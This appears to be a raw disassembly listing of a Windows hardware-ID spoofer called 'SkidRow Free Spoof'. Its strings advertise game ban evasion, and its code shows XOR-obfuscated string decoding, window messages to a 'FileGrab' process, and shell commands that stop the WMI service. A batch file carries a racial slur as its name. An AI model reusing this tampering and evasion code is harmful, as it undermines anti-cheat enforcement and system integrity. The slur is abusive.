lea rcx, str.SkidRow_Free_Spoof_v1.2_Update:
call fcn.1400367e0
mov dword [rbp + 0xb0], 0x43e60000
mov dword [rbp + 0xb4], 0x42700000
xor r9d, r9d
lea r8, [rbp + 0xb0]
lea rdx, str.Static_Mac_Spoof__COD_Support__Mobo_detection__More.
lea rcx, str.SkidRow_Free_Spoof_v1__6_13_24_Update:
call fcn.1400367e0
call fcn.140009e30
cmp dword [0x1401283e4], 1
jne 0x140046c6e
call fcn.14000bc90
movss xmm3, dword [rbp + 0x264]
movaps xmm1, xmm3
addss xmm1, dword [0x1400b617c]
movss xmm2, dword [rbp + 0x260]
movaps xmm0, xmm2
addss xmm0, dword [0x1400b6180]
movss dword [rbp + 0x390], xmm0
movss dword [rbp + 0x394], xmm1
addss xmm3, dword [0x1400b6188]
addss xmm2, dword [0x1400b6198]
movss dword [rbp + 0x398], xmm2
movss dword [rbp + 0x39c], xmm3
mov dword [rbp + 0xb8], 0x43020000
mov dword [rbp + 0xbc], 0x439b0000
lea rcx, [rbp + 0xb8]
call fcn.140016fd0
call fcn.140006c80
call fcn.14000be50
mov rbx, rax
movups xmmword [rbp + 0x140], xmm14
lea rcx, [rbp + 0x140]
call fcn.140008570
movss xmm0, dword [0x1400b0818]
movss dword [rsp + 0x30], xmm0
mov dword [rsp + 0x28], r15d
movss xmm0, dword [0x1400b0824]
movss dword [rsp + 0x20], xmm0
mov r9d, eax
lea r8, [rbp + 0x398]
lea rdx, [rbp + 0x390]
mov rcx, rbx
call fcn.14001f3f0
mov dword [rbp - 0x78], 0x43dc0000
mov dword [rbp - 0x74], 0x42200000
lea rdx, [rbp - 0x78]
lea rcx, str.Perm_Spoof
call fcn.140035c80
test al, al
je 0x140043b7b
mov byte [0x1401283b4], 1
mov dword [rbp - 0x70], 0x43dc0000
mov dword [rbp - 0x6c], 0x42200000
lea rdx, [rbp - 0x70]
lea rcx, str.Serial_Checker
call fcn.140035c80
test al, al
je 0x140043ba4
mov byte [0x1401283b5], 1
lea rbx, str.C:WindowsFonts
cmp byte [0x1401283b1], 0
je 0x1400454b7
mov qword [rbp + 0xe0], rbx
mov qword [rbp + 0xe8], reloc.WS2_32.dll_recv
movaps xmm0, xmmword [rbp + 0xe0]
movdqa xmmword [rsp + 0x60], xmm0
xor r8d, r8d
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0x2f8]
call fcn.14003fef0
nop
mov qword [rbp + 0xf0], rbx
mov qword [rbp + 0xf8], reloc.WS2_32.dll_recv
movaps xmm0, xmmword [rbp + 0xf0]
movdqa xmmword [rsp + 0x60], xmm0
xor r8d, r8d
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0x3e0]
call fcn.14003fef0
nop
lea rdx, [rbp + 0x5b0]
lea rdi, [0x140000000]
lea rcx, [rdi + 0xb5890]
movups xmm0, xmmword [rcx]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rdx + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rdx + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rdx + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rdx + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rdx - 0x10], xmm1
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rcx]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rdx + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x20], xmm0
mov rax, qword [rcx + 0x30]
mov qword [rdx + 0x30], rax
mov eax, dword [rcx + 0x38]
mov dword [rdx + 0x38], eax
movzx eax, byte [rcx + 0x3c]
mov byte [rdx + 0x3c], al
lea rdx, [rbp + 0x4f0]
lea rcx, [rdi + 0xb5950]
movups xmm0, xmmword [rcx]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rdx + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rdx + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rdx + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rdx + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rdx - 0x10], xmm1
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rcx]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rdx + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x20], xmm0
mov rax, qword [rcx + 0x30]
mov qword [rdx + 0x30], rax
mov eax, dword [rcx + 0x38]
mov dword [rdx + 0x38], eax
movzx eax, byte [rcx + 0x3c]
mov byte [rdx + 0x3c], al
movups xmm0, xmmword [0x1400b5a10]
movups xmmword [rbp + 0x318], xmm0
movups xmm1, xmmword [0x1400b5a20]
movups xmmword [rbp + 0x328], xmm1
movsd xmm0, qword [0x1400b5a30]
movsd qword [rbp + 0x338], xmm0
movzx eax, byte [0x1400b5a38]
mov byte [rbp + 0x340], al
movups xmm0, xmmword [0x1400b5a40]
movups xmmword [rbp + 0x3a0], xmm0
movups xmm1, xmmword [0x1400b5a50]
movups xmmword [rbp + 0x3b0], xmm1
movsd xmm0, qword [0x1400b5a60]
movsd qword [rbp + 0x3c0], xmm0
mov eax, dword [0x1400b5a68]
mov dword [rbp + 0x3c8], eax
movups xmm0, xmmword [0x1400b5a70]
movups xmmword [rbp + 0x290], xmm0
movups xmm1, xmmword [0x1400b5a80]
movups xmmword [rbp + 0x2a0], xmm1
mov eax, dword [0x1400b5a90]
mov dword [rbp + 0x2b0], eax
movups xmm0, xmmword [0x1400b5a98]
movups xmmword [rbp + 0x2d8], xmm0
movsd xmm0, qword [0x1400b5aa8]
movsd qword [rbp + 0x2e8], xmm0
mov eax, dword [0x1400b5ab0]
mov dword [rbp + 0x2f0], eax
movzx eax, byte [0x1400b5ab4]
mov byte [rbp + 0x2f4], al
movups xmm0, xmmword [0x1400b5ab8]
movups xmmword [rbp + 0x2b8], xmm0
movsd xmm0, qword [0x1400b5ac8]
movsd qword [rbp + 0x2c8], xmm0
movzx eax, word [0x1400b5ad0]
mov word [rbp + 0x2d0], ax
movups xmm0, xmmword [0x1400b5ad8]
movups xmmword [rbp + 0x348], xmm0
movups xmm1, xmmword [0x1400b5ae8]
movups xmmword [rbp + 0x358], xmm1
movzx eax, word [0x1400b5af8]
mov word [rbp + 0x368], ax
lea rdx, str.FileGrab__running_
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowW]
test rax, rax
je 0x140043e7f
xor r9d, r9d
xor r8d, r8d
mov edx, reloc.WS2_32.dll_recv
mov rcx, rax
call qword [sym.imp.USER32.dll_SendMessageW]
lea rdx, str.FileGrab__running_
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowW]
test rax, rax
je 0x140043ea7
xor r9d, r9d
xor r8d, r8d
mov edx, reloc.WS2_32.dll_recv
mov rcx, rax
call qword [sym.imp.USER32.dll_SendMessageW]
lea rdx, str.FileGrab__running_
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowW]
test rax, rax
je 0x140043ecf
xor r9d, r9d
xor r8d, r8d
mov edx, reloc.WS2_32.dll_recv
mov rcx, rax
call qword [sym.imp.USER32.dll_SendMessageW]
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, str.FileGrab__running_
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowW]
test rax, rax
je 0x140043f02
xor r9d, r9d
xor r8d, r8d
mov edx, reloc.WS2_32.dll_recv
mov rcx, rax
call qword [sym.imp.USER32.dll_SendMessageW]
cmp byte [rbp + 0x2b3], 0
je 0x14004406f
mov r8d, r15d
cmp r13d, 2
jl 0x14004402d
movdqa xmmword [rbp + 0x670], xmm11
lea rcx, [rbp + 0x294]
mov edx, dword [rbp + 0x670]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140043f40
cmp r8d, 0x24
jge 0x14004406f
movsxd rax, r8d
lea r9, [rbp + 0x290]
add r9, rax
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x24
jl 0x140044040
cmp byte [rbp + 0x66c], 0
je 0x1400441d2
mov r8d, r15d
cmp r13d, 2
jl 0x140044193
movdqa xmmword [rbp + 0x670], xmm11
lea rcx, [rbp + 0x5b4]
mov edx, dword [rbp + 0x670]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0xb8
jl 0x1400440a0
cmp r8d, 0xbd
jge 0x1400441d2
movsxd rax, r8d
lea r9, [rbp + 0x5b0]
add r9, rax
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xbd
jl 0x1400441a0
lea rdx, [rbp + 0x290]
lea rcx, [rbp + 0x5b0]
call fcn.140042330
cmp byte [rbp + 0x2f4], 0
je 0x14004434f
mov r8d, r15d
cmp r13d, 2
jl 0x14004430d
movdqa xmmword [rbp + 0x670], xmm11
lea rcx, [rbp + 0x2dc]
mov edx, dword [rbp + 0x670]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140044220
cmp r8d, 0x1d
jge 0x14004434f
movsxd rax, r8d
lea r9, [rbp + 0x2d8]
add r9, rax
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1d
jl 0x140044320
cmp byte [rbp + 0x340], 0
je 0x1400444af
mov r8d, r15d
cmp r13d, 2
jl 0x14004446d
movdqa xmmword [rbp + 0x670], xmm11
lea rcx, [rbp + 0x31c]
mov edx, dword [rbp + 0x670]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140044380
cmp r8d, 0x29
jge 0x1400444af
movsxd rax, r8d
lea r9, [rbp + 0x318]
add r9, rax
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x29
jl 0x140044480
lea rdx, [rbp + 0x2d8]
lea rcx, [rbp + 0x318]
call fcn.140042330
lea rdx, str.FileGrab__running_
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowW]
test rax, rax
je 0x1400444ea
xor r9d, r9d
xor r8d, r8d
mov edx, reloc.WS2_32.dll_recv
mov rcx, rax
call qword [sym.imp.USER32.dll_SendMessageW]
lea rdx, str.FileGrab__running_
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowW]
test rax, rax
je 0x140044512
xor r9d, r9d
xor r8d, r8d
mov edx, reloc.WS2_32.dll_recv
mov rcx, rax
call qword [sym.imp.USER32.dll_SendMessageW]
cmp byte [rbp + 0x369], 0
je 0x14004467f
mov r8d, r15d
cmp r13d, 2
jl 0x14004463d
movdqa xmmword [rbp + 0x670], xmm11
lea rcx, [rbp + 0x34c]
mov edx, dword [rbp + 0x670]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140044550
cmp r8d, 0x22
jge 0x14004467f
movsxd rax, r8d
lea r9, [rbp + 0x348]
add r9, rax
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x22
jl 0x140044650
cmp byte [rbp + 0x5ac], 0
je 0x1400447e2
mov r8d, r15d
cmp r13d, 2
jl 0x1400447a3
movdqa xmmword [rbp + 0x670], xmm11
lea rcx, [rbp + 0x4f4]
mov edx, dword [rbp + 0x670]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0xb8
jl 0x1400446b0
cmp r8d, 0xbd
jge 0x1400447e2
movsxd rax, r8d
lea r9, [rbp + 0x4f0]
add r9, rax
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xbd
jl 0x1400447b0
lea rdx, [rbp + 0x348]
lea rcx, [rbp + 0x4f0]
call fcn.140042330
cmp byte [rbp + 0x2d1], 0
je 0x14004495f
mov r8d, r15d
cmp r13d, 2
jl 0x14004491d
movdqa xmmword [rbp + 0x670], xmm11
lea rcx, [rbp + 0x2bc]
mov edx, dword [rbp + 0x670]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140044830
cmp r8d, 0x1a
jge 0x14004495f
movsxd rax, r8d
lea r9, [rbp + 0x2b8]
add r9, rax
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1a
jl 0x140044930
cmp byte [rbp + 0x3cb], 0
je 0x140044abf
mov r8d, r15d
cmp r13d, 2
jl 0x140044a7d
movdqa xmmword [rbp + 0x670], xmm11
lea rcx, [rbp + 0x3a4]
mov edx, dword [rbp + 0x670]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140044990
cmp r8d, 0x2c
jge 0x140044abf
movsxd rax, r8d
lea r9, [rbp + 0x3a0]
add r9, rax
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2c
jl 0x140044a90
lea rdx, [rbp + 0x2b8]
lea rcx, [rbp + 0x3a0]
call fcn.140042330
lea rdx, str.FileGrab__running_
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowW]
test rax, rax
je 0x140044afa
xor r9d, r9d
xor r8d, r8d
mov edx, reloc.WS2_32.dll_recv
mov rcx, rax
call qword [sym.imp.USER32.dll_SendMessageW]
lea rdx, str.FileGrab__running_
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowW]
test rax, rax
je 0x140044b22
xor r9d, r9d
xor r8d, r8d
mov edx, reloc.WS2_32.dll_recv
mov rcx, rax
call qword [sym.imp.USER32.dll_SendMessageW]
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], r15
mov qword [rsp + 0x78], r15
mov r8d, 0xa
lea rdx, str.NIGGER.bat
lea rcx, [rsp + 0x60]
call fcn.14003fdc0
lea rcx, [rsp + 0x60]
call fcn.140042500
mov rdx, qword [rsp + 0x78]
cmp rdx, 7
jbe 0x140044b97
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140044b92
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140046e02
call fcn.1400aa818
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], r15
mov qword [rsp + 0x78], r15
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.net_stop_winmgmt__y
lea rcx, [rsp + 0x60]
call fcn.14003fdc0
lea rcx, [rsp + 0x60]
call fcn.140042500
mov rdx, qword [rsp + 0x78]
cmp rdx, 7
jbe 0x140044c0c
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140044c07
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140046e09
call fcn.1400aa818
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], r15
mov qword [rsp + 0x78], r15
mov r8d, reloc.WS2_32.dll_sendto
lea rdx, str.net_start_winmgmt__y
lea rcx, [rsp + 0x60]
call fcn.14003fdc0
lea rcx, [rsp + 0x60]
call fcn.140042500
mov rdx, qword [rsp + 0x78]
cmp rdx, 7
jbe 0x140044c81
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140044c7c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140046e10
call fcn.1400aa818
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], r15
mov qword [rsp + 0x78], r15
mov r8d, reloc.WS2_32.dll_recv
lea rdx, str.sc_stop_winmgmt
lea rcx, [rsp + 0x60]
call fcn.14003fdc0
lea rcx, [rsp + 0x60]
call fcn.140042500
mov rdx, qword [rsp + 0x78]
cmp rdx, 7
jbe 0x140044cf6
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140044cf1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140046e17
call fcn.1400aa818
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], r15
